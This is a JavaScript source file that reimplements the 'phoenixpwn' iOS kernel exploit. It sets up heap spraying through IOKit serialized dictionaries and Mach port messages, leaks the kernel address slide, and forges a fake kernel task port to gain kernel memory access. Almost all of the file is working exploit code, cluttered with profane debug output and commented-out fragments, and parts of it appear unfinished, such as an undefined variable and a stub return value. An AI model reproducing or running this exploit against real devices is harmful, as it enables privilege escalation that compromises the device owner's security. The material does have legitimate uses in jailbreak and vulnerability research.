path: root/src/js/kexp/exploit.js

/*
 *  phoenixpwn kernel exploit
 *  reimplemented in JS
 *  greetz to @s1guza, @tihmstar, @i41nbeer, @mbazaliy
 */

var sanity_port = 0;
var MACH_PORT_RIGHT_RECEIVE = 0x1;
var MACH_MSG_TYPE_MAKE_SEND = 0x14;
var MACH_PORT_LIMITS_INFO = 0x1;
var MACH_PORT_LIMITS_INFO_COUNT = 0x1;
var kport_size = 0x78;
var kport_ip_bits4 = 0x0;
var kport_ip_references4 = 0x4;
var kport_ip_lock_type4 = 0x10;
var kport_ip_messages_port_qlimit2 = 0x42;
var kport_ip_receiver4 = 0x4c;
var kport_ip_srights4 = 0x70;
var KERN_SUCCESS = 0;
var NULL = 0;
var MACH_PORT_NULL = 0;
var req_init_port_set = 0x1c;
var req_head_msgh_bits = 0x0;
var req_head_msgh_request_port = 0x8;
var req_head_msgh_reply_port = 0xc;
var req_head_msgh_id = 0x14;
var req_msgh_body_msgh_descriptor_count = 0x18;
var MACH_MSG_OOL_PORTS_DESCRIPTOR = 0x2;
var req_init_port_set_address = 0x0;
var req_init_port_set_count = 0x4;
var MACH_RCV_MSG = 0x2;
var MACH_MSG_TIMEOUT_NONE = 0;
var TASK_BSDINFO_OFFSET = 0x200;
var BSDINFO_PID_OFFSET = 0x8;

function find_kerneltask() {
	return 0x8041200c;
}

function find_ipcspacekernel() {
	return 0x80456664;
}

var task_self = 0;
var kslide = 0;

var fakeportData = 0;

var kOSSerializeDictionary      = 0x01000000;
var kOSSerializeArray           = 0x02000000;
var kOSSerializeSet             = 0x03000000;
var kOSSerializeNumber          = 0x04000000;
var kOSSerializeSymbol          = 0x08000000;
var kOSSerializeString          = 0x09000000;
var kOSSerializeData            = 0x0a000000;
var kOSSerializeBoolean         = 0x0b000000;
var kOSSerializeObject          = 0x0c000000;

var kOSSerializeTypeMask        = 0x7F000000;
var kOSSerializeDataMask        = 0x00FFFFFF;

var kOSSerializeEndCollection   = 0x80000000;

var kOSSerializeMagic           = 0x000000d3;

var SIZEOF_BYTES_MSG = 384;

var PORTS_NUM = 1024;
var PORTS_NUM_PRESPRAY = 100;
var MIG_MAX = 0x1000;

function spray_data(mem, size, num, portptr) {
	var err = shit_heap(4);
	var ret = 0;
	var master = shit_heap(4);
	host_get_io_master(mach_host_self(), master);
	var dict = shit_heap(MIG_MAX);
	var __cnt = 0;
	write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++;
	write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++;
	write_u32(dict + (__cnt << 2), kOSSerializeSymbol | 4); __cnt++;
	write_u32(dict + (__cnt << 2), 0x0079656b); __cnt++;
	write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeArray | num); __cnt++;

	for (var i = 0; i < num; i++) {
		write_u32(dict + (__cnt << 2), ((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++;
		if (mem != 0 && size != 0) {
			memcpy(dict + (__cnt << 2), mem, size);
		}
		memset(dict + (__cnt << 2) + size, 0, SIZEOF_BYTES_MSG - size);
		__cnt += SIZEOF_BYTES_MSG / 4;
	}

	printf("%x %x\n", master, read_u32(master));
	printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide()));
	ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr);
	printf("still alive? %x %x\n", err, read_u32(err));
	if (ret == KERN_SUCCESS) {
		ret = read_u32(err);
	}
	printf("still alive? %x %x\n", err, read_u32(err));

	return ret;
}

function copyinPort(kport, cnt) {
	var err = shit_heap(4);
	var ret = 0;
	var self = task_self;
	var service = MACH_PORT_NULL;
	var client = shit_heap(4);
	var it = shit_heap(4);
	var o = MACH_PORT_NULL;
	var data = shit_heap(4);
	var master = shit_heap(4);
	fakeportData = shit_heap(4);
	var host_self = mach_host_self();
	host_get_io_master(mach_host_self(), master);
	ret = spray_data(NULL, 0, 5, data);
	printf("sprayed, still here\n");
	printf("spray_data=%d (%s)\n", ret, mach_error_string(ret));
	printf("sprayed, still here\n");

//	printf("%x %x\n", master, read_u32(master));
	service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity"));
	printf("service=%x\n", service);

	var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
	printf("%x\n", tst);
	var kpbuf = tst + 4;
	for (var i = 0; i < cnt; i++) {
		write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size);
	}

	var err = shit_heap(4);
	var xmls = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";
	var xml = sptr(xmls);
	ret = io_service_open_extended(service, self, 0, 0, 1, xml, xmls.length + 1, err, client);
	printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret));
	if (ret == KERN_SUCCESS) {
		ret = read_u32(err);
	}
	printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret));
	IORegistryEntryGetChildIterator(service, "IOService", it);

	var found = false;
	var o = IOIteratorNext(read_u32(it));

	while (o != MACH_PORT_NULL && !found) {
		var buf = shit_heap(16 * 4);
		var size = shit_heap(4);
		write_u32(size, 16 * 4);
		ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size);
		printf("%d %s\n", ret, mach_error_string(ret));
		if (ret == KERN_SUCCESS) {
			spray_data(tst, strlen(tst) + 1, 10, fakeportData);
			kslide = (((read_u32(buf + (9 << 2)) & 0xFFF00000) + 0x1000) -0x80001000) >>> 0;
			printf("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16));
			found = true;
			return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0;
		}
	}
	printf("didn't find it\n");
}

function prepare_ptr(dict, size, ptr, num) {
	var idx = 0;
	write_u32(dict + (idx << 2), kOSSerializeMagic); idx++;
	write_u32(dict + (idx << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); idx++;
	write_u32(dict + (idx << 2), kOSSerializeSymbol | 4); idx++;
	write_u32(dict + (idx << 2), 0x0079656b); idx++;
	write_u32(dict + (idx << 2), (kOSSerializeEndCollection | kOSSerializeArray | (num >>> 0))); idx++;
	for (var i = 0; i < num; i++) {
		write_u32(dict + (idx << 2), ((i == (num - 1)) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8); idx++;
		write_u32(dict + (idx << 2), ptr); idx++;
		write_u32(dict + (idx << 2), ptr); idx++;
	}

	write_u32(size, idx * 4);
	return KERN_SUCCESS;
}

function spray(dict, size, port) {
	var err = shit_heap(4);
	var ret = 0;
	var master = shit_heap(4);

	host_get_io_master(mach_host_self(), master);
	io_service_add_notification_ool(master, "IOServiceTerminate", dict, size, MACH_PORT_NULL, NULL, 0, err, port);

	if (ret == KERN_SUCCESS) {
		ret = read_u32(err);
	}

	return ret;
}

var kp = 0;
function spray_ports(number_port_descs) {
	if (kp == 0) {
		kp = shit_heap(4);
		mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp);
		mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND);
	} else if (read_u32(kp) == 0) {
		kp = shit_heap(4);
		mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp);
		mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND);
	}

	var mp = shit_heap(4);

	mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp);
	mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND);

	var ret_ = send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs);

//	printf("%d (%s)\n", ret_, mach_error_string(ret_));

	var ret = read_u32(mp);
	shit_heap_free(mp);
	return ret;
}

function fast_log2(n) {
	var i = 0;
	while (n >>= 1) {
		i++;
	}

	return i;
}

function fast_array_mul(arr, n) {
	var up_to = fast_log2(n) + 1;
	var tmp_arr = arr;
	var done = 0;
	for (var i = 0; i < up_to; i++) {
		tmp_arr.push.apply(tmp_arr);
		done = (1 << i);
	}

	return tmp_arr;
}

function send_ports(target, payload, num, number_port_descs) {
	var init_port_set = shit_heap(num * 4);

	for (var i = 0; i < num; i++) {
		write_u32(init_port_set + (i << 2), payload);
	}

	//	var buf = shit_heap(0x1c + (number_port_descs * 0xc * 8));

//	write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs);

//	var buf = new Uint32Array((0x1c + (3 * number_port_descs);

//	write_u32(number_port_descs);

	large_buf[req_msgh_body_msgh_descriptor_count >> 2] = number_port_descs;

	var tmp = ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24));

	for (var i = 0; i < number_port_descs; i++) {
		var tmp2 = (i * 3) + (req_init_port_set >>> 2);
		large_buf[tmp2 + 0] = (init_port_set);
		large_buf[tmp2 + 1] = (num);
		large_buf[tmp2 + 2] = tmp;
	}

	large_buf[req_head_msgh_bits >>> 2] = 0x80001513; // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE)
	large_buf[req_head_msgh_request_port >>> 2] = target;
	large_buf[req_head_msgh_reply_port >>> 2] = 0; 
	large_buf[req_head_msgh_id >>> 2] = 1337;

//	printf("%s\n", prim_hexdump(read_buf(large_buf_ptr, 0x100)));
	
	var ret = mach_msg(large_buf_ptr, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL);

	return ret;
}

function release_port_ptrs(port) {
//	var req = shit_heap(0x1c + (5 * 0xc) + 0x8);
	var req = shit_heap(0x1c + (5 * 0xc) + 0x8);
//	printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0"));
	var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
	if (ret != KERN_SUCCESS) {
		printf("mach_recv %d %s\n", ret, mach_error_string(ret));
	}
	shit_heap_free(req);
}

function r3gister(task, init_port_set, real_count, fake_count) {
	var mess = shit_heap(0x1000);
	var InP = mess;
	var OutP = mess;

	/*
	    InP->msgh_body.msgh_descriptor_count = 1;
    InP->init_port_set.address = (void*)(init_port_set);
    InP->init_port_set.count = real_count;
    InP->init_port_set.disposition = 19;
    InP->init_port_set.deallocate =  FALSE;
    InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    InP->NDR = NDR_record;
    InP->init_port_setCnt = fake_count; // was real_count
    InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
    InP->Head.msgh_remote_port = task;
    InP->Head.msgh_local_port = mig_get_local_port();
    InP->Head.msgh_id = 3403;
	    InP->msgh_body.msgh_descriptor_count  0x18 0x4
    InP->init_port_set.address  0x1c 0x4
    InP->init_port_set.count  0x20 0x4
    InP->init_port_set  0x1c
    InP->NDR  0x28 0x8
    InP->init_port_setCnt  0x30 0x4
    InP->Head.msgh_bits  0x0 0x4
    InP->Head.msgh_remote_port  0x8 0x4
    InP->Head.msgh_local_port  0xc 0x4
    InP->Head.msgh_id  0x14 0x4
0x00000003
0x00000034 0x0000002c
0x00000024
50
78
0x0 0x1057ec
	 */

	write_u32(InP + 0x18, 1);
	write_u32(InP + 0x1c, init_port_set);
	write_u32(InP + 0x20, real_count);
	write_u32(InP + 0x24, ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24)));
	write_u32(InP + 0x28, read_u32(NDR_record + get_dyld_shc_slide() + 0x0));
	write_u32(InP + 0x2c, read_u32(NDR_record + get_dyld_shc_slide() + 0x4));
	write_u32(InP + 0x30, fake_count);
	write_u32(InP + 0x0, 0x80001513);
	write_u32(InP + 0x8, task);
	write_u32(InP + 0xc, mig_get_reply_port());
	write_u32(InP + 0x14, 3403);

	var ret = mach_msg(InP, 0x3, 0x34, 0x2c, read_u32(InP + 0xc), MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
	if (ret == KERN_SUCCESS) {
		ret = read_u32(OutP + 0x24);
	}
	return ret;
}

function mach_ports_lookup_shit() {
	printf("fuck\n");
	var arrz = shit_heap(4);
	printf("fuck\n");
	write_u32(arrz, 0);
	printf("fuck\n");
	var sz = shit_heap(4);;
	printf("fuck\n");
	write_u32(sz, 3);
	printf("fuck\n");
//	var mts = mach_task_self();
	printf("fuck\n");
	calls4arg("mach_ports_lookup", task_self, arrz, sz, 0);
	printf("mpl success\n");

	return read_u32(read_u32(arrz) + 8);
}

var kernel_task_addr = 0;
function get_kernel_task() {
	var ret = 0;
	var tfp0 = 0;

	/*
	printf("fuck\n");
	var arrz = shit_heap(4);
	printf("fuck\n");
	write_u32(arrz, 0);
	printf("fuck\n");
	var sz = shit_heap(4);;
	printf("fuck\n");
	write_u32(sz, 3);
	printf("fuck\n");
	var mts = mach_task_self();
	printf("fuck\n");
	mach_ports_lookup(mts, arrz, sz);
	printf("mpl success\n");
	return;
*/

	sanity_port = shit_heap(4);

	task_self = mach_task_self();

	mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, sanity_port);
	mach_port_insert_right(task_self, read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND);
	limits = shit_heap(4);
	write_u32(limits, 1000);
	mach_port_set_attributes(task_self, read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT);

	printf("starting exploit\n");

	var data = shit_heap(16);
	var kport = shit_heap(kport_size * 2);
	var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something
	write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
	write_u32(kport + kport_ip_references4, 100);
	write_u32(kport + kport_ip_lock_type4, 0x11);
	write_u16(kport + kport_ip_messages_port_qlimit2, 777);
	write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy
	write_u32(kport + kport_ip_srights4, 99);

	var big_buf = shit_heap(MIG_MAX);
	var small_buf = shit_heap(MIG_MAX);

	var big_size = shit_heap(4);
	var small_size = shit_heap(4);

	var fp = shit_heap(PORTS_NUM * 4);
	var postSpray = shit_heap(4);

	usleep(10000);
	sched_yield();
	var kptr = copyinPort(kport, 2);

	printf("0x%08x\n", kptr);
	write_u32(data, kptr);
	write_u32(data + 4, kptr);

	prepare_ptr(big_buf, big_size, kptr, 256);
	prepare_ptr(small_buf, small_size, kptr, 32);

again: while (true) {

	var dummy = shit_heap(4);
	for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) {
		spray(big_buf, big_size, dummy);
	}

	var dummy = shit_heap(4);
	for (var i = 0; i < PORTS_NUM; i++) {
//	for (var i = 0; i < 8; i++) {
		if (i % 4 == 0) {
			printf("spray_ports %d\n", i);
		}
		write_u32(fp + (i << 2), spray_ports(1));
		spray(small_buf, small_size, dummy);
	}

	for (var i = 0; i < PORTS_NUM; i++) {
//	for (var i = 0; i < 8; i++) {
		release_port_ptrs(read_u32(fp + (i << 2)));
	}

	var arrmpt = shit_heap(8);
	write_u32(arrmpt, 0);
	write_u32(arrmpt + 4, 0);
	mach_ports_lookup_shit();
	var ret__ = r3gister(mach_task_self(), arrmpt, 2, 3);
	mach_ports_lookup_shit();
	printf("%d %s\n", ret__, mach_error_string(ret__));
	printf("r3gister done\n");
//	while (true) {
		//
//	}
	scall("printf", "done %x %x %x %x\n", read_u32(read_u32(arrz) + 0), read_u32(read_u32(arrz) + 4), read_u32(read_u32(arrz) + 8), read_u32(kp));
	printf("fuck\n");
//	var fake_port = read_u32(read_u32(arrz) + 8);

	/*
	 *  BEGIN JANK FUCKING HACK
	 */
	var fake_port = mach_ports_lookup_shit();
	printf("fuck\n");
	printf("%x\n", fake_port);
	printf("fuck\n");
	// todo: add mach_port_valid stuff
	printf("fuck\n");

	printf("fuck\n");
	write_u32(kport + 0x50, kptr + 0x78 - TASK_BSDINFO_OFFSET);
	printf("fuck\n");
	write_u32(ptr, find_kerneltask() + kslide - BSDINFO_PID_OFFSET);
	printf("fuck\n");
	var tst_str = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0";
	printf("fuck\n");
    var tst = _sptr(tst_str);
	printf("fuck\n");
	var kpbuf = tst + 4;
	printf("fuck\n");

	printf("fuck\n");
	for (var i = 0; i < 2; i++) {
		printf("fuck\n");
		write_buf(kpbuf + (i * 0x78), read_buf(kport + (i * 0x78), 0x78), 0x78);
	}
	printf("fuck\n");
	usleep(10000);
	sched_yield();
	mach_port_destroy(mach_task_self(), read_u32(fakeportData));
	spray_data(tst, tst_str.length, 10, fakeportData);
	printf("fuck\n");
	printf("done realloc");
	printf("fuck\n");

	printf("fuck\n");
	var kernel_task_addr = shit_heap(4);
	printf("fuck\n");
	scall("printf", "kernel_task address: 0x%08x\n", read_u32(kernel_task_addr));
	ret__ = pid_for_task(fake_port, kernel_task_addr);
	printf("%d %s\n", ret__, mach_error_string(ret__));
	printf("fuck\n");
	printf("IF YOU SEE THIS AND IT LOOKS LEGIT, SHIT HAS FUCKING HAPPENED\n");
	printf("fuck\n");
	call4arg(sym_cache["puts"], sptr("kernel_task address: 0x" + pad_left(read_u32(kernel_task_addr).toString(16), '0', 8)), 0, 0, 0);
	scall("printf", "kernel_task address: 0x%08x\n", read_u32(kernel_task_addr));
	printf("fuck\n");

	printf("get lucky\n");

	return tfp0;
	}
}